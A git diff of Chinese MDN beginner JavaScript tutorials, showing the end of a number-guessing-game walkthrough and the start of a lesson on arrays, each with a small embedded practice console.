href="/zh-CN/docs/Learn/JavaScript/First_steps/Variables#var_与_let_的区别">let 和 var 之间的区别</a>)。常量用于存储不希望更改的数据,用关键字 <code>const</code> 创建,本例中用常量来保存对界面元素的引用。界面元素的文字可能会改变,但引用是不变的。</span></p> + +<p><span lang="zh-CN">可以使用等号(=)和一个值来为变量赋值。</span></p> + +<p><span id="result_box" lang="zh-CN">在我们的示例中:</span></p> + +<ul> + <li><span lang="zh-CN">我们用数学算法得出一个 1 到 100 之间的随机数,并赋值给第一个变量(<code>randomNumber</code>)。</span></li> + <li><span lang="zh-CN">接下来的三个常量均存储着一个引用,分别指向HTML结果段落中某个元素,用于在代码后面段落中插入值:</span> </li> + <li> + <pre class="brush: html" dir="rtl"><p class="guesses"></p> +<p class="lastResult"></p> +<p class="lowOrHi"></p></pre> + </li> + <li><span class="short_text" id="result_box" lang="zh-CN">接下来的两个常量存储对表单文本输入和提交按钮的引用,并用于控制以后提交猜测:</span> + <pre class="brush: html"><label for="guessField">请猜数:</label> +<input type="text" id="guessField" class="guessField"> +<input type="submit" value="确定" class="guessSubmit"></pre> + </li> + <li><span class="short_text" id="result_box" lang="zh-CN">倒数第二个变量存储一个计数器并初始化为 1(用于跟踪玩家猜测的次数),最后一个变量存储对</span><span class="short_text" lang="zh-CN">重置按钮的引用,这个按钮</span><span class="short_text" id="result_box" lang="zh-CN">尚不存在</span><span class="short_text" lang="zh-CN">(但稍后就有了)。</span></li> +</ul> + +<div class="note"> +<p><strong>注</strong>: <span class="short_text" id="result_box" lang="zh-CN">稍后将讲解更多关于变量/常量的信息。<a href="https://developer.mozilla.org/en-US/docs/user:chrisdavidmills/variables">参见下节</a>。</span></p> +</div> + +<h3 id="函数(Function)">函数(Function)</h3> + +<p><span class="short_text" id="result_box" lang="zh-CN">下面,在之前的代码中添加以下内容:</span></p> + +<pre class="brush: js">function checkGuess() { + alert('我是一个占位符'); +}</pre> + +<div id="gt-src-tools"> +<div id="tts_button"><span id="result_box" lang="zh-CN">函数是可复用的代码块,可以一次</span><span lang="zh-CN">编写,反复运行,从而节省了大量的重复代码。它们真的很有用。定义函数的方法很多,但现在我们先集中考虑当前这个简单的方式。 这里我们使用关键字 <code>function</code> 、</span>一个函数名、一对小括号<span lang="zh-CN">定义了一个函数。 随后是一对花括号(<code>{}</code>)。花括号内部是调用函数时要运行的所有代码。</span></div> +</div> + +<div class="g-unit" id="gt-res-c"> +<div id="gt-res-p"> +<div id="gt-res-data"> +<div id="gt-res-wrap"> +<div id="gt-res-content"> +<div dir="ltr"><br> +要运行一个函数代码时,可以输入函数名加一对小括号。</div> + +<div dir="ltr"></div> + +<div dir="ltr"><span lang="zh-CN">让我们尝试一下。保存你的代码并刷新浏览器页面 。然后进入</span><br> +<a href="https://developer.mozilla.org/zh-CN/docs/Learn/Common_questions/What_are_browser_developer_tools">开发者工具 JavaScript 控制台</a>,并输入<span class="short_text" id="result_box" lang="zh-CN">以下代码:</span></div> + +<div dir="ltr"></div> +</div> +</div> +</div> +</div> +</div> + +<pre class="brush: js">checkGuess();</pre> + +<p>在按下 <kbd>Return</kbd>/<kbd>Enter</kbd> 之后,你应该会看到一个告警窗口,显示 "<code><font face="monospace">我是一个占位符</font></code>";<span lang="zh-CN">我们在代码中定义了一个函数,当我们调用它时,函数创建了一个</span><span id="result_box" lang="zh-CN">告警窗口</span><span lang="zh-CN">。</span></p> + +<div class="note"> +<p><strong>注</strong>: <a href="/zh-CN/docs/learn/JavaScript/Building_blocks/Functions">后续课程 </a>将讲解更多有关函数的知识。</p> +</div> + +<h3 id="运算符(Operator)">运算符(Operator)</h3> + +<p><span class="short_text" id="result_box" lang="zh-CN">JavaScript 运算符允许我们执行比较,做数学运算,连接字符串,以及其他类似的事情。</span></p> + +<p>请保存代码以免丢失,然后刷新浏览器页面,打开 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/Common_questions/What_are_browser_developer_tools">开发者工具 JavaScript 控制台</a>。然后我们就可以尝试下文中的示例了:把下表中“示例”一列中的每一项都原封不动输入进来<span lang="zh-CN">,每次输入完毕后都按下 </span> <kbd>Return</kbd>/<kbd>Enter</kbd> <span lang="zh-CN">,可以看到返回的结果。如果你</span>无法访问浏览器开发者工具<span lang="zh-CN">,你随时都</span>可以使用下面的简易版内置控制台。</p> + +<div class="hidden"> +<h6 id="Hidden_code">Hidden code</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>JavaScript console</title> + <style> + * { box-sizing: border-box; } + + html { + background-color: #0C323D; + color: #809089; + font-family: monospace; + } + + body { + max-width: 700px; + } + + p { + margin: 0; + width: 1%; + padding: 0 1%; + font-size: 16px; + line-height: 1.5; + float: left; + } + + .input p { + margin-right: 1%; + } + + .output p { + width: 100%; + } + + .input input { + width: 96%; + float: left; + border: none; + font-size: 16px; + line-height: 1.5; + font-family: monospace; + padding: 0; + background: #0C323D; + color: #809089; + } + + div { + clear: both; + } + + </style> + </head> + <body> + </body> + + <script> + var geval = eval; + + function createInput() { + var inputDiv = document.createElement('div'); + var inputPara = document.createElement('p'); + var inputForm = document.createElement('input'); + + inputDiv.setAttribute('class','input'); + inputPara.textContent = '>'; + inputDiv.appendChild(inputPara); + inputDiv.appendChild(inputForm); + document.body.appendChild(inputDiv); + inputDiv.focus(); + + inputForm.addEventListener('change', executeCode); + } + + function executeCode(e) { + try { + var result = geval(e.target.value); + } catch(e) { + var result = 'error — ' + e.message; + } + + var outputDiv = document.createElement('div'); + var outputPara = document.createElement('p'); + + outputDiv.setAttribute('class','output'); + outputPara.textContent = 'Result: ' + result; + outputDiv.appendChild(outputPara); + document.body.appendChild(outputDiv); + + e.target.disabled = true; + e.target.parentNode.style.opacity = '0.5'; + + createInput() + } + + createInput(); + + </script> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code', '100%', 300, "", "", "hide-codepen-jsfiddle") }}</p> + +<p><span class="short_text" id="result_box" lang="zh-CN">首先让我们来看看算术运算符,例如:</span></p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">运算符</th> + <th scope="col">名称</th> + <th scope="col">示例</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>+</code></td> + <td>加</td> + <td><code>6 + 9</code></td> + </tr> + <tr> + <td><code>-</code></td> + <td>减</td> + <td><code>20 - 15</code></td> + </tr> + <tr> + <td><code>*</code></td> + <td>乘</td> + <td><code>3 * 7</code></td> + </tr> + <tr> + <td><code>/</code></td> + <td>除</td> + <td><code>10 / 5</code></td> + </tr> + </tbody> +</table> + +<p><span class="short_text" id="result_box" lang="zh-CN">您也可以使用 </span><span class="short_text" lang="zh-CN"><code>+</code> 运算符将文本字符串连接在一起(术语“串联”(</span><em>concatenation</em><span class="short_text" lang="zh-CN">))。 尝试依次输入以下行:</span></p> + +<pre class="brush: js">let name = 'Bingo'; +name; +let hello = ' says hello!'; +hello; +let greeting = name + hello; +greeting;</pre> + +<p><span id="result_box" lang="zh-CN">还有一些快捷操作符可用,称为 <a href="/zh-CN/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">复合赋值操作符</a>。 例如,如果你只希望在现有字符串末尾添加一个新串,可以这样做:</span></p> + +<pre class="brush: js">name += ' says hello!';</pre> + +<p><span class="short_text" id="result_box" lang="zh-CN">这等价于:</span></p> + +<pre class="brush: js">name = name + ' says hello!';</pre> + +<p><span class="short_text" id="result_box" lang="zh-CN">在执行真/假比较时(例如在条件语句中,见 </span>{{anch("Conditionals", "下表")}}<span class="short_text" lang="zh-CN">),我们使用 <a href="zh-CN/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">比较运算符</a>,例如:</span></p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">运算符</th> + <th scope="col">名称</th> + <th scope="col">示例</th> + </tr> + <tr> + <td><code>===</code></td> + <td>严格等于(它们是否完全一样?)</td> + <td><code>5 === 2 + 4</code></td> + </tr> + <tr> + <td><code>!==</code></td> + <td>不等于(它们究竟哪里不一样?)</td> + <td><code>'Chris' !== 'Ch' + 'ris'</code></td> + </tr> + <tr> + <td><code><</code></td> + <td>小于</td> + <td><code>10 < 6</code></td> + </tr> + <tr> + <td><code>></code></td> + <td>大于</td> + <td><code>10 > 20</code></td> + </tr> + </thead> +</table> + +<h3 id="条件语句(Conditional)">条件语句(Conditional)</h3> + +<p><span id="result_box" lang="zh-CN">回到我们的 <code>checkGuess()</code> 函数,我们希望它不仅能够给出一个占位符消息,同时还能检查玩家是否猜对,并做出适当的反应。我想这并不难吧。</span></p> + +<p><span class="short_text" id="result_box" lang="zh-CN">现在,将当前的 <code>checkGuess()</code> 函数替换为此版本:</span></p> + +<pre class="brush: js">function checkGuess() { + let userGuess = Number(guessField.value); + if (guessCount === 1) { + guesses.textContent = '上次猜的数:'; + } + guesses.textContent += userGuess + ' '; + + if (userGuess === randomNumber) { + lastResult.textContent = '恭喜你!猜对了'; + lastResult.style.backgroundColor = 'green'; + lowOrHi.textContent = ''; + setGameOver(); + } else if (guessCount === 10) { + lastResult.textContent = '!!!GAME OVER!!!'; + setGameOver(); + } else { + lastResult.textContent = '你猜错了!'; + lastResult.style.backgroundColor = 'red'; + if(userGuess < randomNumber) { + lowOrHi.textContent = '你猜低了!'; + } else if(userGuess > randomNumber) { + lowOrHi.textContent = '你猜高了'; + } + } + + guessCount++; + guessField.value = ''; + guessField.focus(); +}</pre> + +<p>唷——好多的<span class="short_text" lang="zh-CN">代码!让我们来逐段探究。</span></p> + +<ul> + <li><span id="result_box" lang="zh-CN">第一行(行标 2)声明了一个名为 <code>userGuess</code> 的变量,并将其设置为在文本字段中输入的值。 我们还对这个值应用了内置的 <code>Number()</code> 方法,只是为了确保该值是一个数字。</span></li> + <li><span id="result_box" lang="zh-CN">接下来,我们遇到我们的第一个条件代码块(3 - 5 行)。 条件代码块让你能够根据某个条件的真假来选择性地运行代码。 虽然看起来有点像一个函数,但它不是。 条件块的最简单形式是从关键字 <code>if</code> 开始,然后是一些括号,然后是一些花括号。 括号内包含一个比较。 如果比较结果为 <code>true</code></span><span lang="zh-CN">,就会执行花括号内的代码。 反之,花括号中的代码就会被跳过,从而执行下面的代码。 本文的示例中,比较测试的是 <code>guessCount</code> 变量是否等于1,即玩家是不是第一次猜数字:</span></li> + <li> + <pre class="brush: js">guessCount === 1</pre> + </li> +</ul> + +<p>如果是, 我们让 <code>guesses</code> 段落的文本内容等于“<code><font face="monospace">上次猜的数:</font></code>”。如果不是就不用了。</p> + +<ul> + <li><span class="short_text" id="result_box" lang="zh-CN">第 6 行将当前 <code>userGuess</code> 值附加到 </span><code>guesses</code> <span class="short_text" lang="zh-CN">段落的末尾,并加上一个空格,以使每两个猜测值之间有一个空格。</span></li> + <li><span class="short_text" id="result_box" lang="zh-CN">下一个代码块中(8 - 24 行)做了几个检查:</span> + <ul> + <li>第一个 <code>if(){ }</code> 检查用户的猜测是否等于在代码顶端设置的 <code>randomNumber</code> 值。如果是,则玩家猜对了,游戏胜利,我们将向玩家显示一个漂亮的绿色的祝贺信息,并清除“高了 / 低了”信息框的内容,调用 <code>setGameOver()</code> 方法。</li> + <li><font face="Open Sans, arial, sans-serif">紧接着是一个 </font><code>else if(){ }</code> 结构。它会检查这个回合是否是玩家的最后一个回合。如果是,程序将做与前一个程序块相同的事情,只是这次它显示的是 Game Over 而不是祝贺消息。</li> + <li>最后的一个块是 <code>else { }</code>,前两个比较都不返回 <span id="result_box" lang="zh-CN"><code>true</code></span> 时(也就是玩家尚未猜对,但是还有机会)才会执行这里的代码。在这个情况下,我们会告诉玩家他们猜错了,并执行另一个条件测试,判断并告诉玩家猜测的数字是高了还是低了。</li> + </ul> + </li> + <li>函数最后三行(26 - 28 行)是为下次猜测值提交做准备的。我们把 <code>guessCount</code> 变量的值加 1,以使玩家消耗一次机会 (<code>++</code> 是自增操作符,为自身加 1),然后我们把表单中文本域的值清空,重新聚焦于此,准备下一轮游戏。</li> +</ul> + +<h3 id="事件(Event)">事件(Event)</h3> + +<p><span id="result_box" lang="zh-CN">现在,我们有一个实现比较不错的 <code>checkGuess()</code> 函数了,但它现在什么事情也做不了,因为我们还没有调用它。 理想中,我们希望在点击“</span>确定<span lang="zh-CN">”按钮时调用它,为此,我们需要使用事件。 事件就是浏览器中发生的事儿,比如点击按钮、加载页面、播放视频,等等,我们可以通过调用代码来响应事件。 侦听事件发生的结构称为<strong>事件监听器(Event Listener)</strong>,响应事件触发而运行的代码块被称为<strong>事件处理器(Event Handler)</strong>。</span></p> + +<p><span class="short_text" id="result_box" lang="zh-CN">在 <code>checkGuess()</code> 函数后添加以下代码:</span></p> + +<pre class="brush: js">guessSubmit.addEventListener('click', checkGuess);</pre> + +<p>这里为 <code>guessSubmit</code> 按钮添加了一个事件监听器。<code>addEventListener()</code> 方法包含两个可输入值(称为“<em>参数”(argument)</em>),监听事件的类型(本例中为“<code>click</code>”),和当事件发生时我们想要执行的代码(本例中为 <code>checkGuess()</code> 函数)。注意,<code>addEventListener()</code> 中作为参数的函数名不加括号。</p> + +<p><span id="result_box" lang="zh-CN">现在,保存代码并</span><span lang="zh-CN">刷新页面,示例应该能够工作了,但还不够完善。 现在唯一的问题是,如果玩家猜对或游戏次数用完,游戏将出错,因为我们尚未定义游戏结束时应运行的<code>setGameOver()</code> 函数。 现在,让我们补全所缺代码,并完善示例功能。</span></p> + +<h3 id="补全游戏功能">补全游戏功能</h3> + +<p><span id="result_box" lang="zh-CN">在代码最后添加一个 <code>setGameOver()</code> 函数,然后我们一起来看看它:</span></p> + +<pre class="brush: js">function setGameOver() { + guessField.disabled = true; + guessSubmit.disabled = true; + resetButton = document.createElement('button'); + resetButton.textContent = '开始新游戏'; + document.body.appendChild(resetButton); + resetButton.addEventListener('click', resetGame); +}</pre> + +<ul> + <li><span id="result_box" lang="zh-CN">前两行通过将 <code>disable</code> 属性设置为 <code>true</code></span><span lang="zh-CN"> 来禁用表单文本输入和按钮。 这样做是必须的,否则用户就可以在游戏结束后提交更多的猜测,游戏的规则将遭到破坏。</span></li> + <li>接下来的三行创建一个新的 {{htmlelement("button")}} 元素,设置它的文本为“开始新游戏”,并把它添加到当前 HTML 的底部。</li> + <li><span id="result_box" lang="zh-CN">最后一行在新按钮上设置了一个事件监听器,当它被点击时,一个名为 <code>resetGame()</code> 的函数被将被调用。</span></li> +</ul> + +<p><span class="short_text" id="result_box" lang="zh-CN">现在我们需要定义 </span><code><span id="result_box" lang="zh-CN">resetGame()</span></code><span lang="zh-CN"> </span><span class="short_text" lang="zh-CN">这个函数,依然放到代码底部:</span></p> + +<pre class="brush: js">function resetGame() { + guessCount = 1; + + const resetParas = document.querySelectorAll('.resultParas p'); + for (let i = 0 ; i < resetParas.length; i++) { + resetParas[i].textContent = ''; + } + + resetButton.parentNode.removeChild(resetButton); + + guessField.disabled = false; + guessSubmit.disabled = false; + guessField.value = ''; + guessField.focus(); + + lastResult.style.backgroundColor = 'white'; + + randomNumber = Math.floor(Math.random() * 100) + 1; +}</pre> + +<p><span class="short_text" id="result_box" lang="zh-CN">这段较长的代码将游戏中的一切重置为初始状态,然后玩家就可以开始新一轮的游戏了。此段代码:</span></p> + +<ul> + <li><span id="result_box" lang="zh-CN">将 <code>guessCount</code> 重置为 1。</span></li> + <li><span class="short_text" id="result_box" lang="zh-CN"><span>清除所有信息段落。</span></span></li> + <li><span lang="zh-CN">删除重置按钮</span><span lang="zh-CN">。</span></li> + <li><span id="result_box" lang="zh-CN">启用表单元素,清空文本域并</span><span lang="zh-CN">聚焦于此,准备接受新猜测的数字。</span></li> + <li><span id="result_box" lang="zh-CN">删除 </span><span lang="zh-CN"><code>lastResult</code> 段落的背景颜色。</span></li> + <li><span id="result_box" lang="zh-CN">生成一个新的随机数,这样就可以猜测新的数字了!</span></li> +</ul> + +<p><strong><span class="short_text" id="result_box" lang="zh-CN">此刻一个能功能完善的(简易版)游戏就完成了。恭喜!</span></strong></p> + +<p><span class="short_text" id="result_box" lang="zh-CN">我们现在来讨论下其他很重要的代码功能,你可能已经看到过,但是你可能没有意识到这一点。</span></p> + +<h3 id="循环(Loop)">循环(Loop)</h3> + +<p><span id="result_box" lang="zh-CN">上面代码中有一部分需要我们仔细研读,那就是</span><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Statements/for"> for</a> 循环。 <span id="result_box" lang="zh-CN"> 循环是一个非常重要的编程</span><span lang="zh-CN">概念,它让你能够重复运行一段代码,直到满足某个条件为止。</span></p> + +<p><span class="short_text" id="result_box" lang="zh-CN">首先,请再次转到</span> <a href="https://developer.mozilla.org/zh-CN/docs/Learn/Common_questions/What_are_browser_developer_tools">浏览器开发工具 JavaScript 控制台</a><span class="short_text" id="result_box" lang="zh-CN"> 然后输入以下内容:</span></p> + +<pre class="brush: js">for (let i = 1; i < 21; i++) { console.log(i); }</pre> + +<p><span class="short_text" id="result_box" lang="zh-CN">发生了什么? 控制台中打印出了</span><span class="short_text" lang="zh-CN">数字 1 到 20。 这正是循环所为。一个 for 循环需要三个输入值(参数):</span></p> + +<ol> + <li><span id="result_box" lang="zh-CN"><strong>起始值</strong>:本例中我们从 1 开始计数,但其他任意数字也可以。 </span><span class="short_text" id="result_box" lang="zh-CN"><code>i</code></span><span lang="zh-CN">也可以用任何你喜欢的名字替换</span><span lang="zh-CN">,但一般约定用 </span><span class="short_text" id="result_box" lang="zh-CN"><code>i</code></span><span lang="zh-CN">,因为它很短,且易于记忆。</span></li> + <li><span class="short_text" id="result_box" lang="zh-CN"><strong>退出条件</strong>:这里我们指定 <code>i < 21</code>,直到<code>i</code>不再小于 21 前</span><span class="short_text" lang="zh-CN">循环将继续。当 <code>i</code> 达到 21 时,循环将退出</span>。</li> + <li><strong>增加器</strong>:我们指定 <code>i++</code>,意思是向 <code>i</code> 加 1。<code>i</code> 值的每次变动都会引发循环的执行,直到 <code>i</code> 值等于 21(如前文所讲)。为简化问题,在本例中,我们使用<code>console.log()</code>在控制台打印出每次迭代时变量 <code>i</code> 的值。</li> +</ol> + +<p><span class="short_text" id="result_box" lang="zh-CN">现在让我们来观察猜数字游戏中的循环 —— <code>resetGame()</code> 函数中可以找到以下内容:</span></p> + +<pre class="brush: js">let resetParas = document.querySelectorAll('.resultParas p'); +for (let i = 0 ; i < resetParas.length ; i++) { + resetParas[i].textContent = ''; +}</pre> + +<p>这段代码通过 {{domxref("Document.querySelectorAll", "querySelectorAll()")}} 方法创建了一个包含 <code><div class="resultParas"></code> 内所有段落的变量,然后通过循环迭代,删除每个段落的文本内容。</p> + +<h3 id="浅谈对象(Object)">浅谈对象(Object)</h3> + +<p><span id="result_box" lang="zh-CN">在讨论前最后</span><span lang="zh-CN">再改进一波。 在 <code>let resetButton</code>(脚本顶端部分)下方添加下面一行内容,然后保存文件:</span></p> + +<pre class="brush: js">guessField.focus();</pre> + +<p>这一行通过 {{domxref("HTMLElement.focus", "focus()")}} 方法让光标在页面加载完毕时自动放置于 {{htmlelement("input")}} 输入框内,这意味着玩家可以马上开始第一次猜测,而无需点击输入框。 这只是一个小的改进,却提高了可用性——为使用户能投入游戏提供一个良好的视觉线索。</p> + +<p><span id="result_box" lang="zh-CN"><span title="Let's analyze what's going on here in a bit more detail.">深入分析一下。</span><span title="In JavaScript, everything is an object.">JavaScript 中一切都是对象。</span><span title="An object is a collection of related functionality stored in a single grouping.">对象是存储在单个分组中的相关功能的集合。</span><span title="You can create your own objects, but that is quite advanced and we won't be covering it until much later in the course.">可以创建自己的对象,但这是较高阶的知识,我们今后才会谈及。</span><span title="For now, we'll just briefly discuss the built-in objects that your browser contains, which allow you to do lots of useful things. + +">现在,仅需简要讨论浏览器内置的</span></span><span lang="zh-CN"><span title="For now, we'll just briefly discuss the built-in objects that your browser contains, which allow you to do lots of useful things. + +">对象,它们已经能够做许多有用的事情。</span></span></p> + +<p><span id="result_box" lang="zh-CN"><span title="In this particular case, we first created a guessField variable that stores a reference to the text input form field in our HTML — the following line can be found amongst our variable declarations near the top:">在本示例的特定情况下,我们首先创建一个 <code>guessField</code> 常量来存储对 HTML 中的文本输入表单域的引用,在文档顶部的声明区域中可以找到以下行:</span></span></p> + +<pre class="brush: js">const guessField = document.querySelector('.guessField');</pre> + +<p>使用 {{domxref("document")}} 对象的 {{domxref("document.querySelector", "querySelector()")}} 方法可以获得这个引用。<code>querySelector()</code> 需要一个信息——用一个 <a href="https://developer.mozilla.org/zh-CN/docs/Learn/CSS/Introduction_to_CSS/Selectors">CSS选择器</a> 可以选中需要引用的元素。</p> + +<p>因为 <code>guessField</code> 现在包含一个指向 {{htmlelement("input")}} 元素的引用,它现在就能够访问一系列的属性(存储于对象内部的基础变量,其中一些的值无法改变)和方法(存储在对象内部的基础函数)。<code>focus()</code> 是 {{htmlelement("input")}} 元素可用方法之一,因此我们可以使用这行代码将光标聚焦于此文本框上︰</p> + +<pre class="brush: js">guessField.focus();</pre> + +<p>不包含对表单元素引用的变量不提供 <code>focus()</code>方法。例如,引用 {{htmlelement("p")}} 元素的<code>guesses</code> 常量,包含一个数字的 <code>guessCount</code> 变量。</p> + +<h3 id="操作浏览器对象">操作浏览器对象</h3> + +<p>浏览器对象如何使用呢,下面我们来小试牛刀。</p> + +<ol> + <li>首先在浏览器中打开你的程序。</li> + <li>接下来打开 <a href="/zh-CN/docs/Learn/Common_questions/What_are_browser_developer_tools">浏览器开发者工具</a>, 并且切换到 JavaScript 控制台的标签页。</li> + <li><font face="Open Sans, arial, sans-serif">输入 </font><code>guessField</code> ,控制台将会显示此变量包含一个 {{htmlelement("input")}} 元素。同时控制台还能自动补全运行环境中对象的名字,包括你的变量!</li> + <li>现在输入下面的代码: + <pre class="brush: js">guessField.value = 'Hello';</pre> + <code>value</code> 属性表示当前文本区域中输入的值。 在输入这条指令后,你将看到文本域区中的文本被我们修改了!</li> + <li>现在试试输入 <code>guesses</code> 然后回车。控制台会显示一个包含 {{htmlelement("p")}} 元素的变量。</li> + <li>现在试试输入下面这一行: + <pre class="brush: js">guesses.value</pre> + 浏览器会返回 <code>undefined</code>,因为段落中并不存在 <code>value</code>。</li> + <li>为了改变段落中的文本内容, 你需要用 {{domxref("Node.textContent", "textContent")}} 属性来代替 <code>value</code>。试试这个: + <pre class="brush: js">guesses.textContent = '我的段落在哪里?';</pre> + </li> + <li>下面是一些有趣的东西。 尝试依次输入下面几行: + <pre class="brush: js">guesses.style.backgroundColor = 'yellow'; +guesses.style.fontSize = '200%'; +guesses.style.padding = '10px'; +guesses.style.boxShadow = '3px 3px 6px black';</pre> + </li> + <li><span id="result_box" lang="zh-CN">页面上的每个元素都有一个 <code>style</code> 属性,它本身包含一个对象,其属性包含应用于该元素的所有内联 CSS 样式。 让我们可以使用 JavaScript 在元素上动态设置新的 CSS 样式。</span></li> +</ol> + +<h2 id="大功告成...">大功告成...</h2> + +<p><span id="result_box" lang="zh-CN">这个示例已经构建完毕,做得好!来尝试运行一下最终的代码,</span>或者 <a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">看看我们的最终版本</a>。<span id="result_box" lang="zh-CN">如果你的版本无法正常工作,请对照</span> <a class="external external-icon" href="https://roy-tian.github.io/learning-area/javascript/introduction-to-js-1/first-splash/number-guessing-game.html">源代码</a> 进行检查。</p> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/What_is_JavaScript", "Learn/JavaScript/First_steps/What_went_wrong", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript 是什么?</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript 初体验</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/What_went_wrong">查找并解决 JavaScript 代码的错误 </a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Variables">变量:储存所需信息</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Math">数字和运算符:JavaScript 的基本算数</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Strings">字符串:JavaScript 文本的处理</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Useful_string_methods">字符串的一些实用方法</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Arrays">数组</a></li> + <li><a href="https://developer.mozilla.org/zh-CN/docs/Learn/JavaScript/First_steps/Silly_story_generator">课程评估:笑话机</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/first_steps/arrays/index.html b/files/zh-cn/learn/javascript/first_steps/arrays/index.html new file mode 100644 index 0000000000..e3cc48d6d5 --- /dev/null +++ b/files/zh-cn/learn/javascript/first_steps/arrays/index.html @@ -0,0 +1,522 @@ +--- +title: 数组 +slug: Learn/JavaScript/First_steps/Arrays +tags: + - JavaScript + - Join + - Pop + - Push + - shift + - split + - unshift + - 初学者 + - 数组 +translation_of: Learn/JavaScript/First_steps/Arrays +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps/Silly_story_generator", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">在本模块的最后一篇文章中, 我们将看看数组 —— 一种将一组数据存储在单个变量名下的优雅方式。 现在我们看看它有什么用,然后探索如何来创建一个数组,检索、添加和删除存储在数组中的元素,以及其他更多的功能。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">前提:</th> + <td>基本的电脑知识,对 HTML、CSS 语法有基础的理解,能理解什么是 JavaScript。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>理解什么是数组,和如何在 JavaScript 中操作数组。</td> + </tr> + </tbody> +</table> + +<h2 id="数组是什么">数组是什么?</h2> + +<p>数组通常被描述为“像列表一样的对象”; 简单来说,数组是一个包含了多个值的对象。数组对象可以存储在变量中,并且能用和其他任何类型的值完全相同的方式处理,区别在于我们可以单独访问列表中的每个值,并使用列表执行一些有用和高效的操作,如循环 - 它对数组中的每个元素都执行相同的操作。 也许我们有一系列产品和价格存储在一个数组中,我们想循环遍历所有这些产品,并将它们打印在发票上,同时将所有产品的价格统计在一起,然后将总价格打印在底部。<br> + </p> + +<p>如果我们没有数组,我们必须将每个产品存储在一个单独的变量中,然后调用打印的代码,并为每个产品单独添加。 花费的时间要长得多,效率很低,而且也容易出错。 如果我们有 10 个产品需要添加发票,那就只是有点麻烦而已,但是 100 个,或者 1000 个呢? 我们稍后将在文章中使用这个例子。</p> + +<p>像以前的文章一样,我们通过在 JavaScript 控制台中输入一些示例来了解数组的基础知识。 我们在下面提供了一个(您也可以在单独的选项卡或窗口中打开此控制台,或者如果您愿意,请使用<a href="/zh-CN/docs/Learn/Discover_browser_developer_tools">浏览器的开发者工具控制台</a>)。</p> + +<div class="hidden"> +<h6 id="Hidden_code">Hidden code</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>JavaScript console</title> + <style> + * { + box-sizing: border-box; + } + + html { + background-color: #0C323D; + color: #809089; + font-family: monospace; + } + + body { + max-width: 700px; + } + + p { + margin: 0; + width: 1%; + padding: 0 1%; + font-size: 16px; + line-height: 1.5; + float: left; + } + + .input p { + margin-right: 1%; + } + + .output p { + width: 100%; + } + + .input input { + width: 96%; + float: left; + border: none; + font-size: 16px; + line-height: 1.5; + font-family: monospace; + padding: 0; + background: #0C323D; + color: #809089; + } + + div { + clear: both; + } + + </style> + </head> + <body> + + + </body> + + <script> + var geval = eval; + function createInput() { + var inputDiv = document.createElement('div'); + var inputPara = document.createElement('p'); + var inputForm = document.createElement('input'); + + inputDiv.setAttribute('class','input'); + inputPara.textContent = '>'; + inputDiv.appendChild(inputPara); + inputDiv.appendChild(inputForm); + document.body.appendChild(inputDiv); + + if(document.querySelectorAll('div').length > 1) { + inputForm.focus(); + } + + inputForm.addEventListener('change', executeCode); + } + + function executeCode(e) { + try { + var result = geval(e.target.value); + } catch(e) { + var result = 'error — ' + e.message; + } + + var outputDiv = document.createElement('div'); + var outputPara = document.createElement('p'); + + outputDiv.setAttribute('class','output'); + outputPara.textContent = 'Result: ' + result; + outputDiv.appendChild(outputPara); + document.body.appendChild(outputDiv); + + e.target.disabled = true; + e.target.parentNode.style.opacity = '0.5'; + + createInput() + } + + createInput(); + + </script> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code', '100%', 300) }}</p> + +<h3 id="创建数组">创建数组</h3> + +<p>数组由方括号构成,其中包含用逗号分隔的元素列表。</p> + +<ol> + <li>假设我们想在一个数组中存储一个购物清单 - 我们会做一些像下面这样的事情。 在您的控制台中输入以下行: + <pre class="brush: js">let shopping = ['bread', 'milk', 'cheese', 'hummus', 'noodles']; +shopping;</pre> + </li> + <li>在这种情况下,数组中的每个项目都是一个字符串,但请记住,您可以将任何类型的元素存储在数组中 - 字符串,数字,对象,另一个变量,甚至另一个数组。 您也可以混合和匹配项目类型 - 它们并不都是数字,字符串等。尝试下面这些: + <pre class="brush: js">let sequence = [1, 1, 2, 3, 5, 8, 13]; +let random = ['tree', 795, [0, 1, 2]];</pre> + </li> + <li>尝试创建您自己的几个数组,然后再继续往下看。</li> +</ol> + +<h3 id="访问和修改数组元素">访问和修改数组元素</h3> + +<p>然后,您可以使用括号表示法访问数组中的元素,与 <a href="/zh-CN/docs/Learn/JavaScript/First_steps/Useful_string_methods#检索特定字符串字符">检索特定字符串字符</a> 的方法相同。</p> + +<ol> + 